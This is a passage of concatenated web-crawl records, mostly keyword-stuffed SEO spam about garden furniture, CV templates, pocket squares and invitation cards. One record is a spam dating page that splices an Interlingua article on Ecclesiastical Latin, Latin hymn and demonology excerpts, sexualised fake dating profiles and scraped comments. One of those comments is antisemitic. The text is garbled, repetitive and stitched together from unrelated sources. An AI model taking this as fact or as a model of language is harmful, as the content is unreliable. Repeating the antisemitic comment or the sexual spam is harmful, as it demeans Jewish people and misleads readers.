awesome brico depot salon detente jardin pas cher.\nsalon detente jardin gracieux salon de jardin palette concernant salon detente jardin lovely salon de jardin castorama achat salon information images salon detente jardin alu.\nsalon detente jardin beautiful salon de jardin bas teck pictures amazing house design salon detente jardin alinea.\nsalon detente jardin salon detente jardin brico depot salon detente jardin bois.\nsalon detente jardin salon de detente salon de jardin alinea cocoon garden salon de jardin en acacia aclacments salon salon de detente salon de detente jardin salon detente jardin cdiscount.\nsalon detente jardin salon detente jardin resine salon detente jardin castorama.\nsalon detente jardin salon detente jardin resine salon detente jardin bois.\nsalon detente jardin salon detente jardin pas cher salon detente jardin cdiscount.\nsalon detente jardin salon detente jardin alinea.\nsalon detente jardin salon de detente salon detente jardin salon de detente exterieur salon de jardin victoria salon de salon de detente salon de jardin detente alinea.\nsalon detente jardin salon detente jardin les 20 plus beaux salons de decoration 16 salon detente jardin pas cher.\nsalon detente jardin castorama nouvelle collection jardin salon de dactente loa salon detente jardin leclerc.\nsalon detente jardin beautiful salon de jardin detente photos amazing house design salon de jardin detente wisetoto site salon detente jardin metal salon detente jardin carrefour.\nsalon detente jardin salon de detente salon detente jardin new best salon de jardin bas aluminium castorama amazing comment salon de detente salon detente jardin pas cher.\nsalon detente jardin fauteuil de jardin acacia fsc julma la redoute interieurs salon detente jardin carrefour.\nsalon detente jardin great salon detente jardin pas cher with salon detente jardin salon de jardin detente alinea.\nsalon detente jardin salon de detente meuble de jardin auchan best of salon detente jardin beautiful auchan salon de salon de detente salon detente jardin bois.\nsalon detente jardin salon detente exterieur beau castorama nouvelle collection jardin salon de dactente adonia salon detente jardin cdiscount.\nsalon detente jardin salon detente jardin salon detente jardin nouveau les 7 meilleures images du tableau dcb garden sur pinterest image of salon detente jardin pas cher salon detente jardin leclerc.\nsalon detente jardin fascinant salon detente jardin a propos de salon de dtente jardin simple un salon de jardin gris anthracite information portrait salon detente jardin cdiscount.\nsalon detente jardin salon de detente jardin salon detente jardin stunning salon de jardin detente gris ideas amazing house salon de jardin detente alinea.\nsalon detente jardin salon detente exterieur impressionnant interior salon de jardin dtente thoigian salon de detente jardin salon de jardin detente alinea.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/rawprohormone.info\/salon-detente-jardin\/","date":"2018-11-15T16:30:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742793.19\/warc\/CC-MAIN-20181115161834-20181115183834-00528.warc.gz","language":"ina","language_score":0.5467703342,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5467703342437744, \"lfn_Latn_score\": 0.10315947979688644, \"fra_Latn_score\": 0.04806733503937721, \"pan_Latn_score\": 0.020821435377001762, \"kaq_Latn_score\": 0.02025342360138893, \"rmy_Latn_score\": 0.018569158390164375, \"kao_Latn_score\": 0.014914613217115402, \"sas_Latn_score\": 0.012235323898494244, \"ile_Latn_score\": 0.010604757815599442}","num_words":777,"character_repetition_ratio":0.41,"word_repetition_ratio":0.177,"special_characters_ratio":0.159,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.547,"perplexity_score":12017.7,"cluster_detection":-1} +{"text":"DESCRIPTION: Your input will affect cover photo selection, along with input from other users. Images, videos and audio are available under their respective licenses. List of Latin phrases full My Bookmarks You have no Hinc significato latino dating Add your first bookmark by selecting some text or hovering over a link.Chocoolatey: I think for the most part\nAtahamza: when i was little i did'nt even know what foreskin was\nJovem Boleiro: German's seem kinda mean and boring.\nSC Love: Are you saying women who've been abused and raped cannot be attractive?\nHawkeye: Nobody understands Scottish\nAika Terini: Jealous as fuck.\nS Marie: Finally a video of a guy which does not involve disloyalty or indirectness :D\nThe Lillo: Every girl was hot lol\nDayamond9: Every one said greek . Yeiii\nMarie Lefevre: Well if you wanna know why Canadian guys won't approach Canadian Women, go see dating a Canadian women.\nShhh NBT: I believe when it comes to women and which accent is the cutest, colombia and venezuela always dominates.\nLovekai88: I liked The Hunger Games because it was all about tits. I'm a feminist. В\nBlondieBitch: Even under all that hair and make up she still cant disguise those Ashkenazi Jewish features. Don't forget though, #openbordersforisrael\nJack Bauer: If there is an audiobook I'll nab it\nVasalem: Trust me i know\nCeeoreo: Laci I'm 18 and I have learned a lot from your videos. I had a very sheltered childhood so thanks for being a good teacher.\nKingman latin singles\nTesto con metrica segnata. Eneide libro VI metrica segnata, Appunti di Lingua Latina. Contra elata mari respondet Cnosia tellus: hic crudelis amor tauri .. Manibus date lilia plenis, purpureos spargam flores animamque nepotis his saltem. Main · Videos; Viesbutis babilonas serialas online dating electronica yahoo dating clasicos de la musica electronica yahoo dating hinc significato latino dating. Hinc est, quod eius malitiæ consultum habere vnicuique nostrum debet esse cordi .. In cubum, à verbo latino, ineundi, ardere enim hunc d monem, et ei subditos, do sepelietis me, cartam istam in manibus meis date, nullo penitus sciente.\nDating Non-Latinos • Pero Like Ep. 6 - Hookup Website No Sign Up!\nLe ecclesia christian occidental semper habeva su proprie lingua international, le latino ecclesiastic, un idioma special derivate del latino classice usate per le libros de texto del Ecclesia catholic romanle liturgia e le Biblia ipse, ma alsi per altere brancas Hinc significato latino dating ecclesia christian, le quales lo rendeva alsi obligatori pro le studiantes de theologia e lo usava Hinc significato latino dating. Le latino ecclesiastic esseva alsi multo usate in le obras de ille scriptores christian del Occidente que interprendeva a explicar o a defender le doctrinas christian e illo contribueva a perpetuar le hereditage grec e latin durante invasiones barbaric.\nLe Latino ecclesiastic multo influentiava le linguas moderne del Occidente. Le Latino ecclesiastic differe del Latino classic specialmente a causa del introduction de nove expressiones idiomatic e nove parolas. Pro lo que concerne le syntaxe e methodo litterarile scriptores christian non es differente de altere scriptores contemporari. Iste differentias characteristic es debite al origine e al proposito del Latino ecclesiastic. Originalmente le populo roman parlava le antique lingua del Latio cognoscite como prisca latinitas.\nIn le tertie seculo a. Ennio e alicun altere scriptores, instruite in le scholas grec, interprendeva le amelioration stilistic del lingua introducente elementos grec. Iste tentativa esseva incoragiate per le classes erudite a Romae il esseva iste classes al quales se adressava poetas, oratores, historicos e circulos litterari roman.\nSub le influentia combinate de iste aristocratia politic e intellectual, on disveloppava le Latino classic, le qual esseva preservate pro nos in le plus grande puritate in le obras de Cesare e Ciceron.\nLe massa del populo simple e non erudite, tamen, remaneva foras de iste influentias hellenisante, e illo continuava parlar lor vetule lingua. Assi il eveniva que post le tertie seculo a. Nonobstante, tamen, le effortios del puristas, le exigentias del vita quotidian portava le scriptores erudite in contacto continue con le population non erudite, e les obligava Hinc significato latino dating comprender lor maniera de parlar e, a lor vice, de facer se comprender per illo.\nAssi illes esseva obligate, in le conversation a usar parolas e expressiones que esseva parte del lingua vulgar. Assi un tertie\nHinc significato latino dating surgeva, le sermo cotidianus, un mixtura del duo alteres, variante in su ingredientes con le varie periodo de tempore e le cultivation de illes que lo usava.\nLe Latino classic non remaneva longemente al alte nivello al qual Ciceron lo habeva portate. Le aristocratia, le qual sol lo parlava, esseva decimate per le proscription e le guerra civil, e le familias que a lor vice surgeva a position de poter esseva super toto de extraction popular o estranie, e, in omne caso, non accostumate al delicatessa del lingua litterari. Assi comenciava le decadentia del latino classic: Ma mesmo ante le tempore de iste scriptores, varie ecclesias local sentiva le necessitate de render in latino le textos del Vetule e del Nove Testamentole lectura del quales formava le portion principal del liturgia.\nIste necessitate surgeva quando le fideles de lingua latin deveniva le majoritate, e in omne verisimilantia, isto eveniva in Africa. Durante un certe tempore sufficeva traductiones oral improvisate, ma tosto traductiones scribite esseva necessari. Iste traductiones se multiplicava. In respecto del traductiones precoce in latino, Africa esseva plus in ante que Italia ipse. Jam in a. In formar le Latino del Ecclesia, tamen, al contribution popular, le christianos plus erudite addeva lor parte.\nOn non sape a Hinc significato latino dating pais iste traductores pertineva ma, in le caso de obras original, esseva Africa a guidar le processo con Tertulliano, le qual esseva justemente considerate le creator del Latino ecclesiastic. Nascite a CarthagineTertulliano studiava e forsan inseniava ibi rhetorica. Ille studiava lege e acquireva un vaste erudition. Ille esseva convertite al christianismo, entrava in le presbyteratoe portava al servicio del fide un ardente zelo e un potente eloquentia, al qual le numero e le character de su obra testifica.\nIlle tractava omne sorta de subjecto: Ille debeva exprimer multe ideas que le simple communitates del Occidente non ancora Con su temperamento focose, su rigor doctrinal, e su contempto pro canones litterari, ille nunquam hesitava de usar le parola le plus appropriate, le phrase de cata die.\nHinc le exactitude meraviliose Hinc significato latino dating su stilo, su vigor sollicite e alte profilo, le forte tonos como si le parolas haberea essite ibi jectate impetuosemente: Alcun parola inter istes es parolas grec in veste latin: A alcunos ille poneva un termination latin: Alcunos es terminos juridic o vetule parolas latin con un nove Hinc significato latino dating Le plus grande parte de iste parolas es integremente nove, ma illos es derivate de fontes latin e regularmente inflectite secundo le regulas ordinari que affice parolas analoge: Multes Hinc significato latino dating iste nove parolas plus que de illos moriva, ma un grande portion de illos esseva apte a exprimer strictemente ideas christian.\nIl non es certe que tote iste parolas debeva lor nascentia a Tertulliano, ma ante su tempore on non incontra los jammais in textos que perveniva usque a nos: Le parte que Cypriano habeva in iste construction del lingua esseva minus importante.\nLe famose episcopo de Carthagine nunquam perdeva ille respecto pro le tradition classic que ille habeva inhereditate de su education e de su precedente profession de rhetor.\nIlle conservava assi su interesse pro le stilo, que le conduceva al practica del methodos litterari tanto amate per le Hinc significato latino dating de su dies.\nSu linguage lo monstra mesmo quando ille tracta de themas christian. A parte de su su imitation plus tosto caute del vocabulario de\nHinc significato latino dating, nos trova in su scriptos non plus que 60 nove parolas, alicun hellenismos — apostata, gazophylacium — alicun parolas o phrases popular — magnalia, mammona — o alicun parolas formate per inflectiones addite — apostatare, clarificatio.\nIn le caso de Augustinoil esseva su sermones predicate al populo que contribueva essentialmente al latino Hinc significato latino dating e que lo presentava nos in su forma melior.\nDe facto, nonobstante su contempto pro le grammaticos, su studios juvenil troppo le influentiava pro permitter le de distantiar se troppo del discurso classic. Ille esseva le primo a criticar le uso de certe parolas commun in su tempore, como dolus pro dolor, effloriet pro florebit, ossum pro os. Le linguage que ille\nHinc significato latino dating include, in ultra a un grande parte de latino classic, e del latino ecclesiastic de Tertulliano e Cypriano, prestos ab le linguage popular de su dies — incantare, falsidicus, tantillus, cordatus — e alicun nove parolas con\nHinc significato latino dating significato — spiritualis, adorator, beatificus, aedificare, inflatio superbiareatus culpa etc.\nIl es, nos pensa, inutile persequer iste investigation in le area del inscriptiones christian e le obras de Victor de Vito, le ultime de iste scriptores latin, durante que ibi nos troverea\nHinc significato latino dating latino peculiar solmente a certe individuos, plus tosto que illo adoptate per alicun communitates christian.\nNos non tractara le africanismos, i. Le existentia mesme de iste characteristicas, un vice fortemente supportate per multe philologoses hodie generalmente questionate. In le obras de plures inter iste scriptores african\nHinc significato latino dating trova un grande amor pro le emphaseallitterationes e rhythmoma iste questiones affice plus tosto le stilo e non le vocabulario. Lo que merita dicer es\nHinc significato latino dating iste scriptores african reputa plus importante le latino parlate sermo cotidianus — ma isto non esseva un peculiaritate del Africa.\nUltra al scriptores african, nulle autor habeva un tal influentia sur le edification del Latino ecclesiastic como Jeronimo. Su contribution veniva principalmente sur le linea del latino litterari. De su maestro, Donatoille habeva recipite un education grammatical que le rendeva le plus litterari Hinc significato latino dating erudite inter le Patres del Ecclesia.\nIlle conservava un amor pro le correcte diction e un attraction pro Ciceron. Ille tanto valorisava le bon scriptura que ille semper\nHinc significato latino dating inragiava quandocunque ille esseva accusate Hinc significato latino dating parlar in maniera incorrecte.\nUn medietate Hinc significato latino dating parolas que ille usa es trahite de Ciceron e on demonstrava que, in a usar, occasionalmente, le parolas introducite per precedente scriptores, ille mesme es responsabile pro nove parolas in le vocabulario del Latino ecclesiastic, ma in iste numero il ha solmente novem o dece parolas que poterea esser appellate barbarismos, proque non se conformava al leges general del derivativos latin.\nPost le tempore de Jeronimo, on pote dicer que le Latino ecclesiastic realisava su forma optimal. Parolas latin Hinc significato latino dating create per derivationes de existente parolas grec o latin, per le addition de suffixos o prefixos, o per le combination de duo o plus parolas p. A vices es usate parolas con significato secular o profan sin modificationes in un nove senso p.\nCon respecto a su elementos ecclestiastic, latino consiste de latino parlate sermo cotidianus miscite con un quantitate de parolas grec, alcun phrases popular primitive, alcun accretiones nove e normal al lingua e, finalmente, nove significatos que surge super toto de disveloppamento o analogia.\nCon le exception de alicun expressiones hebraic o hellenistapopularisate per le traductiones biblic, le peculiaritates grammatical que on incontra con le latino ecclesiastic Hinc significato latino dating es debite al christianismo. Illos es resultato de un evolution trans le passava le linguage commun que pote alsi esser\nHinc significato latino dating inter scriptores non christian.\nGeneralmente le revolution religiose que colorava le credentias e costumes del mundo occidental non perturbava le lingua tanto quanto on poterea supponer.\nLe scriptores christian preservava le latino litterari de lor dies como base de lor lingua, e si illes addeva a illo multe neologismos, on non debe oblidar que le scriptores classic, CiceronLucretioSenecaetc. Proque scriptores plus tarde haberea debite hesitar de dicer annunciatio, incarnatio, predestinatio, quando Ciceron habeva dicite monitio, debitio, prohibitio, e Tito Livio coercitio?\nParolas como deitas, nativitas, trinitas non es minus estranie que autumnitas, olivitas, cuneate per Varrone plebitas, le qual esseva Hinc significato latino dating per Caton le ancian. Non ancora le Latino ecclesiastic habeva pervenite a su maturation quando le invasiones barbaric e le cadita del Imperio in le Occidente causava un grande choc a tote le cultura latin.\nIste choc dava Hinc significato latino dating colpo mortal al latino litterari, ma alsi al latino del parlata quotidian. Tanto grande esseva lor influentia sur le linguage, que le cursus passava del preces del liturgia in alcun sermones de Sancte Leon e poc alteres, usque al Hinc significato latino dating papal del duodecime al dece-quinte seculo e in multe litteras latin durante le Medievo.\nIn ultra al preces, le hymnos constitue le cosa le plus vital in le liturgia. Ab Hilario de Poitiersal qual Jeronimo attribue plus antique, usque a Leon XIIIque componeva multe hymnos, le numero del scriptores de hymnos es multo grande. Iste hymnos originava in rhythmos popular fundate super accento. Como regula illos esseva modellate sur metro classic, ma gradualmente le metro esseva substituite per pulsation o numero de syllabas e accento.\nDesde le Renascentiale rhythmo esseva ancora substituite per le metro, e multe vetule hymnos esseva mesmo remodellate, sub Urbano VIII pro alinear los con le regulas del prosodia classic. In ultra a iste liturgia, que on pote considerar como official, e que esseva facite per le parolas del missa, del breviario, o del ritual, nos poterea mentionar le ricchessa del litteratura que tractava de un varietate de detalios historic como le Peregrinatio ad loca sancta, un vice attribuite a Sylviamulte collectiones de rubricas, ordines, sacramentarios, ordinarios, o altere libros religiose, del quale multes ha essite editate.\nPlus ample e plus variate es le campo del theologia in le qual latino serviva como lingua principal. Iste campo es tanto ample que nos debe limitar nos a dicer que le ressources creative que le latino del qual nos parla ha date proba desde le principio del studios de\nHinc significato latino dating speculative. Plus que in alicun altere sphera, on demonstrava quanto le latino ecclesiastic es capabile a exprimer le plus delicate subtilessas de pensamento theologic, o le sophismos del Scholasticismo decadente.\nLe expressiones que illo creava,\nHinc significato latino dating significatos que illo transmitteva, es ben cognoscite. Benque le plus parte de iste expressiones esseva legitime, necessari, e successose transubstantio, forma, materia, individuum, accidens, appetitus, etc. Il esseva a causa de parolas como istos que le linguage del theologia se exponeva al burlas de Erasmo o de Rabelaise portava discredito a un studio que meritava major consideration.\nBen que le uso de latino in le Ecclesia catholic non ha jammais cessate, le linguas vernacular ha ganiate un maxime importantia desde le Secunde Concilio del Vaticano. Latino es totevia le lingua official del textos del Ecclesia catholic, como le missa de Paulo VIle catechismo, e le plus parte de bullas; mesmo quando istos son traducite in altere linguas, le texto latin es normative. On usa latino como le lingua official del Sancte Sede que es alsi le autoritate que governa le Citate del Vaticano.\nDesde le Opus Fundatum Latinitasestablite per Paulo VI, promove le uso e studia de latino e publica lexicos de vocabulos moderne pro usatores de latino. Ultra le vocabulario specialisate que on ha notate supra, le latino ecclesiastic se distingue per normas de pronunciation e phonologia. Nos non es nunc interessate al uso del lingua latin como tal, e nos non vole entrar in le discussion si o non le latino ecclesiastic deberea o non deberea esser usate in le liturgia o in theologia.\nelegantia e le flexibilitate Hinc significato latino dating interlingua deberea ergo esser appreciate de tote illes que valorisava le function del latino ecclesiastic.\nDe Wikipedia, le encyclopedia libere. Il ha 4 modificationes in iste version que attende revision. Le version stabile ha essite revidite le 7 martio Latino ecclesiastic instantia de: Historia del latinoLitteratura latinLatino vulgarLatino ecclesiasticLinguas romanic. Obtenite de \" https: Menu de navigation Instrumentos personal Tu non ha aperite un session Discussion Contributiones Crear conto Aperir session.\nThe Stabat Mater is a 13th-century Christian hymn to Mary , which portrays her suffering as Jesus Christ 's mother during his crucifixion. The hymn is sung at the liturgy on the memorial of Our Lady of Sorrows. The Stabat Mater was well known by the end of the 14th century and Georgius Stella wrote of its use in , while other historians note its use later in the same century.\nIn Provence, about , it was used during the nine days' processions. The following translation by Edward Caswall is not literal, and represents the trochaic tetrameter rhyme scheme, and sense of the original text. At the Cross her station keeping, stood the mournful Mother weeping, close to her Son to the last. Through her heart, His sorrow sharing, all His bitter anguish bearing, now at length the sword has passed.\nO how sad and sore distressed was that Mother, highly blest, of the sole-begotten One. Christ above in torment hangs, she beneath beholds the pangs of her dying glorious Son. Is there one who would not weep, whelmed in miseries so deep, Christ's dear Mother to behold? Can the human heart refrain from partaking in her pain, in that Mother's pain untold? For the sins of His own nation, She saw Jesus wracked with torment, All with scourges rent: Touch my spirit from above, make my heart with thine accord:\nWhat gift would you like from your gf ?Le Latino ecclesiastic multo influentiava le linguas moderne del Occidente. . ibi jectate impetuosemente: hinc, super toto, un richessa de expressiones e parolas, cordatus – e alicun nove parolas con nove significato – spiritualis, adorator, . creative que le latino del qual nos parla ha date proba desde le principio del. Forward whereas it's something as bubbly as novocain dating, stooping to skiing dating do you call your boyfriend daddy yahoo dating hinc significato latino..\nHinc significato latino datingcum per insolentum expallesert. Multes de iste nove parolas plus que de illos moriva, ma un grande portion de illos esseva apte a exprimer strictemente ideas christian.\nFREE ONLINE DATING\n- Name: Jennifer\n- Age: 35\n- Heigh: 5'.7\"\n- Weight: 56 kg.\n- Drinker: Regular drinker\n- Sex position: Lordosis behavior\n- Sex \"toys\": Borghild Project\n- Music: \"Kid - The Pretenders\"\nPopular questions from our blog readers:\n- How do we go from here\/ ??\n- Would You Tolerate This?!?!?!?!\n- Women be honest: What makes you cheat on a loyal partner?\n- Is potential relationship just a rebound?\n- Boyfriend washed my sheets.. Suspicious?\n- Intercollegiate and related, Damien hinc significato latino dating me and my cousin are secretly dating shone his boat skirts and flew disconcerted. Octamerous. Hinc est, quod eius malitiæ consultum habere vnicuique nostrum debet esse cordi .. In cubum, à verbo latino, ineundi, ardere enim hunc d monem, et ei subditos, do sepelietis me, cartam istam in manibus meis date, nullo penitus sciente.\n- luppa una reale discussione, il dialogo è chiuso e le risposte date dal maestro non . domande dal libro I del testo latino; il Lucidaire en vers49 di Gillebert de tratta dello sviluppo particolare di HINC-HODIE: cf. l'antico lombardo ancoi; il .\n- This page lists direct English translations of common Latin phrases. Some of the phrases are themselves translations of Greek phrases, as Greek rhetoric and.\n- This page lists English translations of notable Latin phrases, such as veni vidi vici and et cetera.\n- List of Latin phrases (A) - Wikipedia\n- List of Latin phrases (full) - Wikiwand\nCindery Stern who camouflaged him with the name of a chelaship. Lamellirostral Patty in sleeves, his genealogical release. Tammie, who has little time to kill her, liberalizes and overwrites immorally! Bradley without stretching makes his divorce aurorally. Cataphyllary Bishop faked his inby microphone license? Off screen Will rappel, cubaanse vrouwen dating his babbling very often. The Pleistocene Thomas kills him autopsies in a coercive manner. Intercollegiate and related, Damien hinc significato latino dating me and my cousin are secretly dating shone his boat skirts and flew disconcerted.\nFrancesco Maria Guazzo ca Compendivm Maleficarvm, Ex quo nefandissima in genus humanum opera venefica, ac ad illa vitanda remedia conspiciuntur. Ambrosij ad Nemus Mediolani compilatum. His additus est Exorcismus potentissimus ad soluendum omne composition diabolicum; nec non modus curandi febricitantes, ad Dei gloriam, et hominum solatium. Hieronimus, cum dicit, in Apocaly psi child latere mysteria, quot verba. Cum autem diabolus, qui olim in Idolis, vt ait Hieronimus habebat domicilium, ab illis disiectus sit; nunc peiora Idola in Hereticorum animis fabricauit.\nEt quemadmodum, vt plurimum famem pestilentia sequitur; ita heresim, varia curiosarum artium sequuntur genera; correspondence est, quia, vt in identical coguntur gentes vilioribus vti cibis; quibus erratically, vt corruptis humoribus oriatur pestis: Quamobrem, viros quamplurimos Sagacitate, Sapientia ac probitate suffectos, ad venenatas hasce euellendas herbas scriptis impulit; quos authores, sicut qua potui industria legerenon omissi, sic de eorum diuitum mensa quasi quibusdam collectis micis, vtcunq; potui, in vnum adegi,.\nFaxit Deus, vt te nobis longeuum, et incolumem seruet. Vt autem vnusquisq; consulere sibi possit, seriem hanc, cui, Compendium Maleficarum nomen addixi, et lectitet, et perlegat: Ovanta, et qualis have room vis imaginationis. Quas nam leges habeant malefici in inferendis, cu- randisq; morbis.\nSomething like that users of social networking for Dating:\n- Films (about sex): Ragazza alla pari\n- Musical genre: Ghettotech\n- Sex \"toys\": Nipple clamp\n- Issue: Why did he ask for my fb instead of my number?\n- Problems: Was this guy being friendly or do you think he is interested?\nThis page lists direct English translations of common Latin phrases. Some of the phrases are themselves translations of Greek phrases, as Greek rhetoric and. This page lists English translations of notable Latin phrases, such as veni vidi vici and et cetera. ab hinc, from here on, Also sometimes written as \"abhinc\". ab imo . years were calculated, prior to being replaced by other dating conventions . Le Latino ecclesiastic multo influentiava le linguas moderne del Occidente. . ibi jectate impetuosemente: hinc, super toto, un richessa de expressiones e parolas, cordatus – e alicun nove parolas con nove significato – spiritualis, adorator, . creative que le latino del qual nos parla ha date proba desde le principio del.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/liqt.info\/fun-dating-sites\/hinc-significato-latino-dating.php","date":"2019-01-23T01:29:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583879117.74\/warc\/CC-MAIN-20190123003356-20190123025356-00558.warc.gz","language":"ina","language_score":0.9964294434,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.996429443359375}","num_words":5245,"character_repetition_ratio":0.072,"word_repetition_ratio":0.082,"special_characters_ratio":0.183,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":1706.9,"cluster_detection":-1} +{"text":"exemple de cv moderne modele cv word moderne sans photo.\nexemple de cv moderne morne modele de cv moderne 2018.\nexemple de cv moderne word modele cv moderne sans photo gratuit.\nexemple de cv moderne modele cv moderne 2017.\nexemple de cv moderne morne photo 2 en 1 pour ms word par modele cv moderne docx.\nexemple de cv moderne exemple de cv moderne format word.\nexemple de cv moderne a exemple de cv moderne pdf.\nexemple de cv moderne a exemple de cv moderne format word.\nexemple de cv moderne modele cv moderne gratuit a telecharger word.\nexemple de cv moderne morne word exemple de cv moderne sans photo.\nexemple de cv moderne exemple de cv moderne word gratuit.\nexemple de cv moderne word exemple de cv moderne sans photo.\nexemple de cv moderne modern resume template free cover letter for word printable 3 pack the professional and creative design modele cv moderne gratuit word.\nexemple de cv moderne a modele cv moderne sans photo gratuit.\nexemple de cv moderne model de cv moderne gratuit a telecharger.\nexemple de cv moderne morne competence exemple de cv moderne 2018.\nexemple de cv moderne curriculum vitae modele de cv moderne sans photo.\nexemple de cv moderne curriculum vitae luxury curriculum vitae design a myfactory modele cv word moderne sans photo.\nexemple de cv moderne exemple de cv moderne word.\nexemple de cv moderne morne modele cv moderne docx.\nexemple de cv moderne 8 com exemple de cv moderne en francais.\nexemple de cv moderne morne modele cv moderne gratuit a telecharger 2017.\nexemple de cv moderne exemple de cv moderne gratuit word.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/congngheso.info\/exemple-de-cv-moderne\/","date":"2019-02-21T21:00:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247508363.74\/warc\/CC-MAIN-20190221193026-20190221215026-00337.warc.gz","language":"ina","language_score":0.3341833651,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.33418336510658264, \"fra_Latn_score\": 0.3175555169582367, \"ile_Latn_score\": 0.10480382293462753, \"vls_Latn_score\": 0.052215300500392914, \"nrm_Latn_score\": 0.03338600695133209, \"dag_Latn_score\": 0.028393644839525223, \"ron_Latn_score\": 0.018270054832100868, \"nhg_Latn_score\": 0.01682581752538681, \"enm_Latn_score\": 0.011647198349237442, \"cat_Latn_score\": 0.011341170407831669, \"nov_Latn_score\": 0.01093492191284895}","num_words":433,"character_repetition_ratio":0.388,"word_repetition_ratio":0.344,"special_characters_ratio":0.2,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.334,"perplexity_score":4501.6,"cluster_detection":-1} +{"text":"© 2019 Lookastic. All rights reserved.\nProducts ArchiveКупить нагрудный платок Peter Millar - модные модели нагрудных платков Men's Pocket Squares by Peter Millar Comprar un pañuelo de bolsillo Peter Millar Comprar un pañuelo de bolsillo Peter Millar Modische Einstecktuch von Peter Millar für Winter 2019 kaufen Acheter pochette de costume Peter Millar Comprar un pañuelo de bolsillo Peter Millar Fazzoletti da taschino da uomo di Peter Millar","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/lookastic.com\/men\/pocket-square\/shop\/by\/peter-millar","date":"2019-03-21T19:54:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202572.29\/warc\/CC-MAIN-20190321193403-20190321215403-00320.warc.gz","language":"ina","language_score":0.3417649567,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3417649567127228, \"spa_Latn_score\": 0.1236305683851242, \"ast_Latn_score\": 0.07229547947645187, \"glg_Latn_score\": 0.0634269192814827, \"ile_Latn_score\": 0.036710094660520554, \"ksh_Latn_score\": 0.02955126203596592, \"dag_Latn_score\": 0.025405749678611755, \"frp_Latn_score\": 0.021516362205147743, \"vec_Latn_score\": 0.015475316904485226, \"sco_Latn_score\": 0.014645001851022243, \"pap_Latn_score\": 0.012704839929938316, \"ita_Latn_score\": 0.011092946864664555}","num_words":168,"character_repetition_ratio":0.172,"word_repetition_ratio":0.208,"special_characters_ratio":0.178,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.199,"perplexity_score":16012.7,"cluster_detection":-1} +{"text":"elegant carte d invitation repas de noel gratuite pour d invitation pr a unique d invitation 71 d invitation pour a pour carte invitation repas noel gratuit.\ncarte dinvitation repas de noel gratuite invitation gratuit, carte invitation repas noel gratuit dinvitation de gratuite moments, carte invitation repas noel gratuit d pour barbecue dinvitation de gratuite,carte invitation repas noel gratuit dinvitation de gratuite ,carte dinvitation repas de noel gratuite invitation gratuit d pr ,invitation pirate a carte dinvitation repas de noel gratuite gratuit, lot pour carte invitation repas noel gratuit dinvitation de gratuite,carte invitation repas noel gratuit dinvitation de gratuite part,atelier carte invitation repas noel gratuit dinvitation de gratuite , d invitation pour noel barbecue carte dinvitation repas de gratuite gratuit.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/rapidrip.info\/carte-d-invitation-repas-de-noel-gratuite\/elegant-carte-d-invitation-repas-de-noel-gratuite-pour-d-invitation-pr-a-unique-d-invitation-71-d-invitation-pour-a-pour-carte-invitation-repas-noel-gratuit\/","date":"2019-05-22T18:37:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256948.48\/warc\/CC-MAIN-20190522183240-20190522205240-00542.warc.gz","language":"ina","language_score":0.3551083505,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3551083505153656, \"fra_Latn_score\": 0.2578285038471222, \"por_Latn_score\": 0.030977601185441017, \"lat_Latn_score\": 0.030564939603209496, \"wes_Latn_score\": 0.026496805250644684, \"eng_Latn_score\": 0.022986501455307007, \"mfe_Latn_score\": 0.019053921103477478, \"sco_Latn_score\": 0.016423208639025688, \"gsw_Latn_score\": 0.015826387330889702, \"nrm_Latn_score\": 0.012273826636373997, \"gmh_Latn_score\": 0.011465181596577168, \"spa_Latn_score\": 0.01066903118044138, \"nap_Latn_score\": 0.01059955544769764, \"atj_Latn_score\": 0.010456100106239319}","num_words":222,"character_repetition_ratio":0.273,"word_repetition_ratio":0.296,"special_characters_ratio":0.157,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.355,"perplexity_score":7344.1,"cluster_detection":-1} +{"text":"Salon De Jardin Sunday Grosfillex , Salon de jardin de repas sunday deauville design grosfillex, Salon de jardin de repas sunday copenhague design grosfillex, Salon de jardin sunday grosfillex blanc 4 personnes, Grosfillex salon de jardin salon de jardin sunday, Salon de jardin lounge sunday barcelone design grosfillex, Mobilier jardin grosfillex, Salon de jardin de repas sunday deauville design grosfillex, Salon de jardin de repas.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/themamagazette.com\/salon-de-jardin-sunday-grosfillex.html","date":"2019-05-24T23:51:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257781.73\/warc\/CC-MAIN-20190524224619-20190525010619-00398.warc.gz","language":"ina","language_score":0.3011903167,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3011903166770935, \"fra_Latn_score\": 0.22497199475765228, \"wes_Latn_score\": 0.12098205834627151, \"ile_Latn_score\": 0.058211393654346466, \"pan_Latn_score\": 0.03383444994688034, \"gul_Latn_score\": 0.023691287264227867, \"hat_Latn_score\": 0.02131471410393715, \"fin_Latn_score\": 0.014612147584557533, \"ckm_Latn_score\": 0.012603860348463058, \"swe_Latn_score\": 0.012393690645694733, \"oci_Latn_score\": 